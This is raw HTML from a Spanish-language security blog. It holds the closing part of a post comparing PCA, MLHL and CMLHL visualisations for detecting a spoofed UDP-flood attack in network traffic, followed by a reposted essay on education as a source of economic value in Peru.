<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwWSeXeB9co9Q_GuPHPkQmKRAaZ6GUDQxIoZ4mV07wLThfRos6IgtoEaiLlwkLDeH96-iRLiNl1WPaaWpgNq5hXFLAhTfBZCp7amrH3qgIvqOjPScAEj57CXCK-Lsr6nihrof8uRFTINQ/s1600/1.2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwWSeXeB9co9Q_GuPHPkQmKRAaZ6GUDQxIoZ4mV07wLThfRos6IgtoEaiLlwkLDeH96-iRLiNl1WPaaWpgNq5hXFLAhTfBZCp7amrH3qgIvqOjPScAEj57CXCK-Lsr6nihrof8uRFTINQ/s320/1.2.jpg" width="320" /></a></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-fareast-font-family: TimesNewRomanPSMT; mso-fareast-language: ES;">Figura 1.2
Tráfico normal de la red en 3D</span></i></b><b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;">.<o:p></o:p></span></i></b></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><br /></span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: "Arial","sans-serif"; mso-bidi-font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"> En la Figura 1.3 apreciamos
la proyección PCA en 2 dimensiones, del segmento simple(S<sub>1</sub>)
conteniendo situaciones no anómalas (tráfico normal de la red)<o:p></o:p></span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhmQKMuZ6381PFxjYDMV4Ig2wSi-xlgWO1zAbAy1vonT2aaEz-x1Qo3FzJBfces-JX-xochIBvo_6okpJJiJU2sswL1Yj4dwCeVG3WZgHwaHj4k8yNxREzxLX43_Zs58WL1BUYIZWNhXTR/s1600/1.3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="239" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhmQKMuZ6381PFxjYDMV4Ig2wSi-xlgWO1zAbAy1vonT2aaEz-x1Qo3FzJBfces-JX-xochIBvo_6okpJJiJU2sswL1Yj4dwCeVG3WZgHwaHj4k8yNxREzxLX43_Zs58WL1BUYIZWNhXTR/s320/1.3.jpg" width="320" /></a></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-fareast-font-family: TimesNewRomanPSMT; mso-fareast-language: ES;">Figura 1.3 Visualización
del Segmento simple-S<sub>1</sub></span></i></b><b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;">.(PCA)<o:p></o:p></span></i></b></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><br /></span></i></b></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><br /></span></i></b></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><br /></span></i></b></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><br /></span></i></b></div>
<div class="Textbody" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";">A continuación visualizaremos el
segmento simple (S<sub>9</sub>), en total tienen una duración de 10 minutos
aproximadamente, donde el tipo de ataque fue una denegación de servicio que
consistió en la inundación de paquetes UDP flags por un tiempo de sólo 8
segundos. A</span><span style="font-family: "Arial","sans-serif"; mso-bidi-font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;">preciaremos la proyección
2D del PCA, MLHL y CMLHL respectivamente.</span><span style="font-family: "Arial","sans-serif";"> El tamaño de los paquetes, que son
diferenciados con el color magenta (S<sub>9</sub>) del tráfico normal; vemos
que toman un direccionamiento continuo
contrario al del tráfico normal y es debido a que dicho ataque es del tipo
spoofing en la cual la identidad del atacante es suplantada por un sin número
de direcciones IPs (direcciones no locales).<o:p></o:p></span></div>
<div class="Textbody" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Textbody" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzkb1xyS6kKkEShs29KfgbP_0VO6hpaQ8QkhD9yO1KqeUDrzqHk7q2w3SxI7nfDCrZCmpTgkeaz6XI47YZWM8MHwPuM1fPPyeUWjAEvCSocH5xTePBuMPjLOhL1scBRi6eSEFrCfzvTcbb/s1600/1.4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzkb1xyS6kKkEShs29KfgbP_0VO6hpaQ8QkhD9yO1KqeUDrzqHk7q2w3SxI7nfDCrZCmpTgkeaz6XI47YZWM8MHwPuM1fPPyeUWjAEvCSocH5xTePBuMPjLOhL1scBRi6eSEFrCfzvTcbb/s320/1.4.jpg" width="320" /></a></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-fareast-font-family: TimesNewRomanPSMT; mso-fareast-language: ES;">Figura 1.4 Visualización del Segmento simple-S<sub>9</sub></span></i></b><b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;">. (PCA)<o:p></o:p></span></i></b></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjubYetVW6s5cpiryOG5_2YiR_j8WdOp31GNzLDQioF8j47PYAAN5YNxgGIZxMJ0JumBqLmCF2e0o91BAhPRhUwUMN192Zmegfedl97x1RKWNljACCJfntat60CN5E8WgUOhrc4PEYP23go/s1600/1.5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjubYetVW6s5cpiryOG5_2YiR_j8WdOp31GNzLDQioF8j47PYAAN5YNxgGIZxMJ0JumBqLmCF2e0o91BAhPRhUwUMN192Zmegfedl97x1RKWNljACCJfntat60CN5E8WgUOhrc4PEYP23go/s320/1.5.jpg" width="320" /></a></div>
<div style="text-align: center;">
<b style="text-align: center;"><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-fareast-font-family: TimesNewRomanPSMT; mso-fareast-language: ES;">Figura 1.5 Visualización del Segmento simple-S<sub>9</sub></span></i></b><b style="text-align: center;"><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;">. (MLHL)</span></i></b></div>
<div style="text-align: center;">
<b style="text-align: center;"><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><br /></span></i></b></div>
<div style="text-align: center;">
<b style="text-align: center;"><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><br /></span></i></b></div>
<div class="MsoNormal" style="text-align: center;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><o:p></o:p></span></i></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI0o_7KY_Fh6Q3AX9cibpYkfT4wVtT2ZSoFd4Ylt47HlmlLWDSvfh79hVJ8miQPfWgIg4XPxTASMFsTjhLKrO6tgUh0Ah5Tj8KJPgbL7k63WGb2a_Xu-c5pNyXKzGIi3H2sI6BXiGJz5Ba/s1600/1.6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI0o_7KY_Fh6Q3AX9cibpYkfT4wVtT2ZSoFd4Ylt47HlmlLWDSvfh79hVJ8miQPfWgIg4XPxTASMFsTjhLKrO6tgUh0Ah5Tj8KJPgbL7k63WGb2a_Xu-c5pNyXKzGIi3H2sI6BXiGJz5Ba/s320/1.6.jpg" width="320" /></a></div>
<div align="center" class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: center; text-autospace: none;">
<b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-fareast-font-family: TimesNewRomanPSMT; mso-fareast-language: ES;">Figura 1.6 Visualización del Segmento simple-S<sub>9</sub></span></i></b><b><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;">. (CMLHL)<o:p></o:p></span></i></b></div>
<div class="Textbody" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Textbody" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Textbody" style="margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "Arial","sans-serif";"> De todos los
experimentos presentados anteriormente, se ha
podido ver que los ataques realizados localmente muchas veces se confunden con
el del tráfico normal, pero la dirección, la dimensión y la localización de los paquetes
las distinguen de lo normal. Así mismo aquellos ataques realizados desde el
exterior de nuestra red son representados como líneas no paralelas a la
dirección en la cual el tráfico normal se desarrolla. Por lo tanto no es fácil
el establecer exactamente que ocurre en un momento dado; es en este preciso
instante donde el análisis cumple un papel sumamente importante por tal motivo
nos apoyamos en uno de los paradigmas del presente estudio, que es el estudio de
casos (CBR), donde el análisis incorpora dos comportamientos diferentes que
son: “aprendiendo” y la “explotación”.<o:p></o:p></span></div>
<div class="Textbody" style="margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "Arial","sans-serif";"> <o:p></o:p></span></div>
<div class="Textbody" style="margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "Arial","sans-serif";"> Los resultados del estudio de pruebas demuestran la
capacidad de generalización, porque
muestra "el modelo visual" de ataques nuevos incluso si el modelo neuronal
no ha afrontado tales ataques antes. Debería ser notado que los atacantes
emplean estrategias muy diferentes para poder pasar inadvertidos en la red
haciendo uso de diversas técnicas como: la extensión de los paquetes de ataque
con el tiempo o reduciendo la cantidad de paquetes en un ataque, el empleo de
señuelos, etc; harán que se visualicen
menos claramente dichos ataques, pero con el empleo del CMLHL se pueden
identificar dichos ataques con mayor efectividad como ha sido mostrado en las
figuras anteriormente mostradas.<o:p></o:p></span></div>
<div class="Textbody" style="margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "Arial","sans-serif";"> <o:p></o:p></span></div>
<div class="Textbody" style="text-align: justify; text-indent: 35.45pt;">
</div>
<div class="Textbody" style="text-align: justify;">
<span style="font-family: "Arial","sans-serif";"> Comparando CMLHL con otros modelos no supervisados,
podemos concluir que PCA y MLHL en la identificación de situaciones anómalas
son menos eficientes y eficaces. Por tal motivo CMLHL será el modelo a ser
utilizado para próximos proyectos de investigación relacionados al campo de ID. Próximamente en: http://peromatech.com, http://peromatech.wordpress.com<o:p></o:p></span></div>
<div class="Textbody" style="text-align: justify;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Textbody" style="text-align: justify;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Textbody" style="text-align: justify;">
<span style="font-family: "Arial","sans-serif";"><b>referencias:</b></span></div>
<div class="Textbody" style="text-align: justify;">
<span style="color: yellow; font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Standard" style="text-align: justify;">
<span lang="EN-US" style="color: yellow; font-family: "Arial","sans-serif"; mso-ansi-language: EN-US; mso-bidi-font-style: italic;">[1] CORCHADO, Emilio; HERRERO, Álvaro. <b>RT-MOVICAB-IDS: Addressing
real-time intrusion detection</b>. </span><span style="color: windowtext; font-family: "Arial","sans-serif"; mso-bidi-font-style: italic;"><span style="color: yellow;">Spain, 2013. University of
Salamanca.</span><o:p></o:p></span></div>
<div class="Textbody" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Textbody" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Textbody" style="text-align: center;">
<span style="font-family: "Liberation Serif","serif"; font-size: 12.0pt; mso-ansi-language: ES; mso-bidi-font-family: "Lohit Hindi"; mso-bidi-language: HI; mso-fareast-font-family: "WenQuanYi Micro Hei"; mso-fareast-language: ZH-CN; mso-font-kerning: 1.5pt;"><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
filled="f" stroked="f">
<v:stroke joinstyle="miter"/>
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
<v:f eqn="sum @0 1 0"/>
<v:f eqn="sum 0 0 @1"/>
<v:f eqn="prod @2 1 2"/>
<v:f eqn="prod @3 21600 pixelWidth"/>
<v:f eqn="prod @3 21600 pixelHeight"/>
<v:f eqn="sum @0 0 1"/>
<v:f eqn="prod @6 1 2"/>
<v:f eqn="prod @7 21600 pixelWidth"/>
<v:f eqn="sum @8 21600 0"/>
<v:f eqn="prod @7 21600 pixelHeight"/>
<v:f eqn="sum @10 21600 0"/>
</v:formulas>
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
<o:lock v:ext="edit" aspectratio="t"/>
</v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" style='width:420.75pt;
height:255pt'>
<v:imagedata src="file:///C:\Users\EQUIPO~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.jpg"
o:title="ScatterPlot"/>
</v:shape><![endif]--><!--[if !vml]--><!--[endif]--></span></div>
<div class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: justify; text-autospace: none; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif"; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="mso-hyphenate: auto; mso-layout-grid-align: none; mso-pagination: widow-orphan; mso-vertical-align-alt: auto; text-align: justify; text-autospace: none; text-indent: 35.45pt;">
<span style="font-family: "Tahoma","sans-serif"; font-size: 10.0pt; mso-bidi-language: AR-SA; mso-fareast-language: ES; mso-font-kerning: 0pt;"><o:p></o:p></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-59756710107662263592013-06-19T01:19:00.000+02:002013-06-19T01:21:02.230+02:00Educación y conocimiento como valor agregado en la economía <div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: black;"><br style="font-family: arial; font-size: 12px; line-height: 16px;" /></span>
<span style="background-color: black;">Quizás resulte extraño la siguiente publicación en un blog totalmente técnico en Seguridad de la Información, pero considero que me ha sido sumamente inspirador el presente artículo y de la cuál es dirigido a mis compatriotas esperando que muchas de estas líneas que leerán le sean de inspiración y fuerzas para el logro de ese ideal que como peruanos deseamos y lucharemos por lograrlo.</span><br />
<span style="background-color: black;"><br style="font-family: arial; font-size: 12px; line-height: 16px;" /></span>
<span style="background-color: black; font-family: arial; font-size: 12px; line-height: 16px;">Los “expertos” dicen que los maestros no saben lo que deben saber. Pero, ¿qué deben saber? No lo dicen, porque tampoco lo saben. Lo intuyen pero no lo saben; actúan en base a corazonadas. Necesitamos conocer cuál es la clave de una educación moderna o seguiremos defendiendo la educación arcaica, imaginándola moderna o postmoderna.</span><br />
<div style="font-family: arial; font-size: 12px; line-height: 16px;">
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Cuando tenemos entre las manos uno de los tantos teléfonos celulares u observamos maravillados los artefactos eléctricos que se exhiben en los mejores <em>shopping centers</em>, o cuando pensamos en la economía de los países tecnológicamente desarrollados, por ejemplo en la <em>nanotecnología</em> para realizar delicadísimas y exitosas operaciones quirúrgicas; en los satélites espaciales, o en las mega—máquinas, con las cuales se puede trasladar en un día una montaña de un lugar a otro; o bien los satélites y los vuelos espaciales; la cibernética y la gran variedad de sofisticados objetos como los radares o los aviones teledirigidos; y, en fin, el perfeccionamiento vertiginoso, incesante, infinito de los artefactos más vinculados o dependientes de la tecnología digital y, viendo que en los mismos términos, avanza la división del trabajo, nos preguntamos: ¿Por qué valen lo que cuestan estos objetos cada día más sofisticados? ¿Por qué tanto cambio? ¿Cuál es el secreto de todo esto? ¿Magia o milagro? La respuesta a la primera interrogante puede ser muy variada, podría decirse —por ejemplo— que lo que determina su valor es la belleza del objeto, su forma o su función. Y por supuesto, que esas respuestas son correctas, porque nadie pagaría lo que paga por un objeto que no le sirviera o que habiendo otros más bellos, funcionales y, a la vez baratos, eligiera el menos presentable, caro y técnicamente el menos acabado. Pero, ¿es eso lo que determina finalmente el valor de estos objetos? El valor de estos objetos lo determina el trabajo humano, porque son hechos por seres humanos. A estos objetos no lo produce la naturaleza. Si todos esos maravillosos objetos fueran producidos y abundantemente como el oxígeno por la naturaleza y más bien fabricaríamos oxígeno para vivir, ¿costarían lo que cuestan? La respuesta, obviamente es no. Entonces surge otra pregunta: ¿Cualquier persona o grupo de personas puede producir estos u otros objetos semejantes? Es obvio que no. Las personas que lo producen son seres con una preparación especializada. Se trata de seres humanos que representan lo más avanzado del conocimiento, de la creatividad y del ingenio humano.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Y ¿cómo es que estos seres humanos han llegado a tener esa pericia? ¿Cómo es que llegaron a tener esos conocimientos? Nacieron sabiendo, ¿o tuvieron que aprender a fabricarlos? Esos conocimientos se aprenden. Los individuos nacemos con un cerebro potencialmente capaz de aprender a hacer todo cuando ahora se hace y lo que en el futuro se hará, casi como si fuese obra de la magia o milagro. El aprendizaje es un proceso y la enseñanza corre a cargo de la educación.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">La naturaleza pone lo que se ve, lo tangible. La Educación aporta los elementos intangibles. Si vemos un televisor funcionando, la naturaleza da la materia tangible, aquello que tiene tamaño, peso, color, olor, aspereza o suavidad, aquello que se puede observar mediante los sentidos. La verdad es que incluso en esto, el hombre ya ha introducido conocimiento y talento, pues lo tangible no es puramente naturaleza, sino naturaleza en la que el factor subjetivo, el hombre mediante su intelecto incorporado está presente. Es la mente humana objetivada con la ayuda de la naturaleza. O es la naturaleza moldeada por el hombre. Por eso cuando alguien rompe uno de estos objetos, suele justificarse diciendo que ha roto una cosa. Una cosa que es la vez el hombre objetivado, al parecer cosificado, hecho cosa, evidenciado a través de una cosa, pero no cosa pura, naturaleza pura. Y quien la compra obviamente está inserto en el mundo de las mercancías y para obtener el dinero con el que esa cosa compra, tiene que haberse primero objetivado en otras cosas o animales a los que cría, los debe haber vendido y mediante esa mercancía universal que es el dinero se enfrentan a los individuos objetivados en las cosas que los demás venden. Por eso, no diremos exactamente que la naturaleza aporta todo lo que podemos ver, porque lo tangible es ya naturaleza transformada por el hombre. Y si un televisor transmite imágenes de lo que en este momento sucede en un continente hasta otro continente, o si existen cámaras que nos permiten ver lo que hace un satélite espacial a muchos miles o millones de kilómetros de la tierra, esa capacidad lo da de manera exclusiva el hombre. La naturaleza solamente pone aquello que sirve de soporte, o envase. Nada más. Si un teléfono celular ayuda a recibir la voz de una persona y transforma en un lenguaje numérico, o sea digital, y lo transporta de ese modo por muy largo que sea el camino. Y cuando el receptor presiona una tecla para escuchar la llamada y su equipo celular transforma esos números nuevamente en la voz que salió del emisor, todas las potencialidades de estos objetos los ha puesto el hombre con su inteligencia, mediante un largo proceso de enseñanza—aprendizaje que es la educación.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">De este modo, unos trozos de naturaleza —que por sí mismos solamente cuestan lo que se ha invertido en extraerlos y transportarlos—, se convierten en objetos con posibilidades que parecen ser fruto de la magia o milagro, la verdadera magia o milagro es la capacidad humana, la mente habilitada mediante la Educación.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Los conocimientos, las habilidades, las destrezas son producto de la Educación. Claro que cuando hablamos de educación, hay que aclarar que todo el mundo educa. Porque no solamente las instituciones formales educan. Educa también la familia, el grupo de amigos, el vecindario, la iglesia, el servicio militar. Sin proponérnoslo todos somos educadores.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Pero ¿qué clase de educación imparte quien no tiene título profesional de educador y, finalmente, ningún título profesional? Transmite los conocimientos y la cultura de su colectividad. Vale decir, transmite los hábitos, actitudes, lenguaje articulado y gestual, mitos, leyendas, conocimientos climatológicos, modos de relacionarse con las demás personas, con las autoridades. Transmite la cultura popular. Esta cultura popular crea un ambiente muy especial que sirve como trasfondo o <em>back ground</em>, sobre el que se desarrolla la educación formal. Pero no alcanza para producir objetos tan extraordinarios como los que hemos señalado.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Cada vez que uno ve en el mercado un objeto cualquiera hay que recordar que esos objetos pueden venderse y comprarse porque son útiles. No todos los objetos útiles son iguales entre sí, por el simple hecho de ser útiles. Sabemos que no es así. Cuando vamos de compras o simplemente a curiosear, tratamos de informarnos cuáles de ellos son los mejores. Tenemos siempre la idea de que entre los objetos que cumplen la misma función unos son mejores que otros. Además nos damos cuenta que cada día aparecen en los hipermercados objetos más bellos, de mejor calidad y muchas veces nos quedamos con la angustia de no poder comprarlos. Cuando el dinero no alcanza compramos alguno de los que no cuestan muy caro y nos quedamos con la angustia de no haber podido comprar el mejor. Y si compramos el mejor entonces no solamente sentimos satisfacción, sino que incluso hacemos alguna ostentación ante los que no tienen dinero como para comprar uno igual. Pero lo que nosotros rara vez nos ponemos a pensar es cómo, de qué manera, los que los producen han podido hacerlo. Simplemente nos conformamos con pensar o decir que estos maravillosos objetos lo han hecho las grandes empresas. O sea que sin darnos cuenta estamos personificando a las instituciones, vale decir las vemos como personas y simultáneamente obviamos a las personas naturales. Al pensar así, curiosamente pasamos por alto el hecho de que las grandes corporaciones, las grandes industrias están compuestas por seres humanos y quienes realmente hicieron esos a veces codiciados objetos son seres humanos reales, personas de carne y hueso. Para poder hacer esos objetos obviamente tienen un entrenamiento especial. Han sido <em>capacitados</em> para hacerlos. Han tenido que aprender hasta tener la posibilidad de producirlos. Ese aprendizaje significa que alguien hizo el papel de profesor mientras ellos cumplían el rol de alumnos. Entre quienes participan en el proceso productivo de esos maravillosos objetos intervienen cadenas generalmente muy largas de personas, algo de lo que nosotros ni siquiera atinamos a imaginar. Podemos pensar en los que usan las manos. Podemos imaginar muchas manos trabajando. Pero antes que se empleen las manos están los que ponen la mente, la teoría, el conocimiento. Aunque la tendencia es a que las manos que hagan los objetos sean las de los robots, porque el hombre tiende cada vez más a reemplazar el uso de las manos por el uso de la mente. Esto sucede, por supuesto, ahí donde la educación sirve para eso, para capacitar la mente no solamente para deletrear algunas palabras o saber firmar — -como se decía antes— sino para producir. La mente humana ha descubierto las leyes de la Física. También descubrió y hace avanzar la matemática, así como la química y demás ciencias. Esto sucede en los países donde la educación está orientada a capacitar a la gente para asimilar conocimiento y para aplicar esos conocimientos a la economía y también para producir más conocimientos. <em>¿Nuestra educación tiene esas características? ¿En qué se parece nuestra Educación a esa clase de educación? O, ¿en qué se diferencia? ¿Qué enseñamos los maestros del Perú? ¿Qué clase de preparación nos dieron nuestros catedráticos en las universidades o nuestros profesores en los institutos? Y ¿en qué nos capacitaron los que dijeron que nos estaban capacitando, por ejemplo, a través de PLANCAD? ¿Nos mentalizaron para pensar como profesores que deben enseñar a investigar, o incrementar nuestros conocimientos? ¿Dedicaron siquiera algún tiempo en hacernos pensar en cómo progresa el mundo? O ¿es que distrajeron nuestro tiempo simplemente en hacernos jugar a la ronda como si los maestros fuésemos niños en edad preescolar y con un cerebro todavía pre lógico? No enseñaron a dialogar, a leer, o ¿nos dijeron que lo único que interesa es la “práctica”, que hay que sentir vergüenza por la capacidad que nos ha dado la naturaleza al haber preparado nuestro cerebro para crear símbolos y transformar los conocimientos en palabras gramaticalmente ordenadas para intercomunicarnos mediante ese proceso que se conoce como socialización? ¿Nos enseñaron a pensar en la clase de socialización que es la Educación?</em></span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">La Educación debe servir para hacer pensar. Pensar es otra gimnasia que necesita el cerebro para que no se atrofie. Porque el cerebro también se atrofia si es que no funciona. La calidad y cantidad de pensamientos que nos habituamos a tener alcanza un techo. Si amarramos nuestra mente y no la liberamos no va a crecer, el techo puede ser muy bajo. Nada existe en la naturaleza por gusto. Si no caminamos nos descalcificamos, sufrimos de osteoporosis. Nuestros huesos se vuelven frágiles y se pueden quebrar en cualquier circunstancia, porque nuestros huesos están diseñados para que actúen como respuesta a la ley de la gravedad. Si lo dejamos por mucho tiempo en reposo vamos perdiendo calcio sistemáticamente hasta que puede sobrevenir la osteoporosis. Una mala educación nos limita en el ejercicio físico y sobre todo nos limita en el ejercicio de la mente y lo más grave es creer que algunas dinámicas físicas cumplen su papel en lo físico y reemplazan exitosamente a las dinámicas mentales. Así como hay atletas que superan en salto alto las dos metros veinte, así también hay científicos que han hecho posible que los hombres salten hasta las estrellas, mientras en otros contextos se limita a formar a la gente para que siga trabajando con la hoz y el martillo o con el pico y la pala, o bien con la<em>chaquitaclla</em>.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">La educación es funcional a cada época histórica. En la antigüedad los nobles se educaban para ser los mejores guerreros. Algunos como Alejandro Magno, tenía además una visión del mundo heredado de Aristóteles, su maestro. Si eran débiles y poco visionarios fácilmente podían perder el reino. En otro momento bastaba ser un buen artesano. Incluso en pleno siglo XX en el Perú bastaba saber comprar en las tiendas de los mayoristas algunos objetos, pararse a ofrecerlos al detalle en las puertas de las grandes tiendas o de los supermercados, pero ahora, desde que se implementaron los hipermercados, ese conocimiento es inútil, porque los hipermercados son más competitivos en cuanto a calidad, presentación, precio, confort, relax y seguridad, mientras que a la informalidad le rodeaba un ambiente tenso.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">La educación debe tomar en cuenta las tendencias sociales, culturales, económicas, científicas y tecnológicas de cada momento de la historia. No es suficiente proponer la educación asociada al trabajo si es que no se sabe cómo es el trabajo y la economía en una época histórica determinada.</span><br />
<span style="background-color: black;"><br /></span>
<span style="background-color: black;">Hay que analizar cómo aparecieron las herramientas que se utilizan para producir los demás objetos. ¿Los dio la naturaleza? ¿Los hizo el hombre? Si el hombre los hizo, ¿cómo los hizo, de qué manera, que materiales primas usó y a parte de sus manos qué otros elementos empleó? ¿Bastaba tener conocimientos artesanales para hacerlo? ¿Necesitaba haberse formado simplemente en un CENECAPE<a href="http://www.librosperuanos.com/autores/articulo/00000002089/Educacion-y-conocimiento-como-valor-agregado-en-la-economia#1" style="color: #3b5998; text-decoration: none;">1</a>? ¿Exigía una formación propia de las universidades? ¿De qué clase de universidades? En el Perú, ¿formamos profesionales para producir teléfonos celulares, automóviles, tractores, satélites espaciales, computadoras?</span><br />
<span style="background-color: black;"><br /></span>
